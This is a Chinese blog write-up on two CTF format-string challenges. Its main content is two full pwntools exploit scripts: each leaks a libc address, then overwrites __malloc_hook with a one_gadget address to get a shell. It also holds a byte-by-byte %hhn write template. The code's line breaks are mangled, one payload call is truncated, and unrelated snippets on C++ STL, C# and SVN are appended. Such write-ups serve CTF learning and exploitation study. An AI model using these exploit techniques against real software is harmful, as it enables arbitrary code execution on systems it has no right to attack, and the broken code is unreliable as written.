fmt的一些東西

2021-10-17 14:37:24 字數 4638 閱讀 3015

一共兩個題,再抄一點別的師傅的模板備用23333

一次任意leak的機會,一次fmt的機會。然後是有個alloc不讓控制棧。

查閱到乙個知識。scanf/printf 是會呼叫malloc和free函式的,在它需要輸入一串比較長的字元時,需要臨時申請空間來存放這些字元,輸出後再呼叫free釋放這部分空間。

對於這個題思路就是改malloc_hook然後觸發一下,exp如下。

from pwn import

*context.log_level =

'debug'

# p = process('./easiestprintf')

p = remote(

'node3.buuoj.cn'

,29072

)elf = elf(

'./easiestprintf'

)libc = elf(

'./libc'

)import subprocess

defone_gadget

(filename)

:return

list

(map

(int

, subprocess.check_output(

[b'one_gadget'

, b'--raw'

, filename]

).split(b' '))

)one = one_gadget(

'./libc'

)print

(one)

p.sendlineafter(

"read:\n"

,str

(elf.got[

'read'])

)read_addr =

int(p.recvuntil(

'\n')[

:-1]

,16)log.info(

'read: --> %s'

,hex

(read_addr)

)libc_base = read_addr - libc.symbols[

'read'

]malloc_hook = libc_base + libc.symbols[

'__malloc_hook'

]onegadget = libc_base + one[2]

log.info(

"libc --> %s"

,hex

(libc_base)

)payload = fmtstr_payload(7,

)payload += b"%100000c"

# 觸發malloc

一樣一次leak一次fmt,但是有個chk也就是不能簡單的%p了,這裡用了個技巧%a,可以參考publicqi師傅的部落格用%a列印棧上的殘存資料進行leak,然後使用上一題的方法getshell即可,這裡用了琪琪師傅無敵的fmt模板(因為pwntools的那個好像直接炸了)。

from pwn import

*context.log_level =

'debug'

p = process(

'./easy_printf'

)elf = elf(

'./easy_printf'

)libc = elf.libc

import subprocess

defone_gadget

(filename)

:return

list

(map

(int

, subprocess.check_output(

[b'one_gadget'

, b'--raw'

, filename]

).split(b' '))

)one = one_gadget(

'/lib/x86_64-linux-gnu/libc.so.6'

)p.sendlineafter(

"choice: "

,'1'

)p.sendlineafter(

"fmt: \n"

,"%a%a"

)p.recv(11)

addr = p.recvuntil(

"p-")[

:-2]

addr += b"00"

libc_base =

int(addr,16)

-0x3eba00

free_hook = libc_base + libc.symbols[

'__free_hook'

]malloc_hook = libc_base + libc.symbols[

'__malloc_hook'

]onegadget = libc_base + one[1]

log.info(

"libc_base --> %s"

,hex

(libc_base)

)p.sendlineafter(

'\n'

,'2'

)log.info(

"malloc_hook --> %s"

,hex

(malloc_hook)

)log.info(

"free_hook --> %s"

,hex

(free_hook)

)def

fmt(data,addr,off)

: arg0=

(data)

&0xff

arg1=

(data&

0xff00

)>>

8 arg2=

(data&

0xff0000

)>>

16 arg3=

(data&

0xff000000

)>>

24 arg4=

(data&

0xff00000000

)>>

32 arg5=

(data&

0xff0000000000

)>>

40# arg6=(data&0xf f000000000000)>>48

# arg7=(data&0xf f00000000000000)>>56

pay1=

'%'+

str(arg0)

+'c%'

+str

(off+10)

+'$hhn'

pay2=

'%'+

str(

(arg1-arg0+

0x100)%

0x100)+

'c%'

+str

(off+11)

+'$hhn'

pay3=

'%'+

str(

(arg2-arg1+

0x100)%

0x100)+

'c%'

+str

(off+12)

+'$hhn'

pay4=

'%'+

str(

(arg3-arg2+

0x100)%

0x100)+

'c%'

+str

(off+13)

+'$hhn'

pay5=

'%'+

str(

(arg4-arg3+

0x100)%

0x100)+

'c%'

+str

(off+14)

+'$hhn'

pay6=

'%'+

str(

(arg5-arg4+

0x100)%

0x100)+

'c%'

+str

(off+15)

+'$hhn'

payload = pay1+pay2+pay3+pay4+pay5+pay6+

'%100000c'

payload = payload.ljust(8*

10,'a')

.encode(

) payload+= p64(addr)

payload+= p64(addr+1)

payload+= p64(addr+2)

payload+= p64(addr+3)

payload+= p64(addr+4)

payload+= p64(addr+5)

return payload

payload = fmt(onegadget,malloc_hook,8)

# gdb.attach(p, 'b *$rebase(0xadd)')

p.sendline(payload)

sleep(

0.1)

p.interactive(

)

琪琪師傅的模板:

%a:

c stl 一些東西

std map 其key是基於比較運算子的,因此自定義型別需要為該型別設定比較運算子操作 class a private int mm std mapkk std unordered map 基於hash實現,需要為自定義型別設定 運算子和雜湊函式 class a int get value con...

一些基礎的東西

在c 中宣告變數使用下述的語法 但是在c 中有變數初始化的要求,即c 編譯器需要用某個初始值對變數進行初始化,之後才能在操作中引用該變數。c 有兩個方法可確保變數在使用前進行了初始化 變數是類 class 或結構 struct 中的字段 field 如果沒有顯式初始化,在預設狀態下建立這些變數時,其...

SVN的一些東西

例如 主幹mainproject,分支 branchproject 1 將分支合併到主幹 url位址路徑一定要對 找到主幹檔案mainproject,右擊 tortoisesvn merge.合併 選擇第乙個 merge a range of revisions 合併乙個版本範圍 接著在 url t...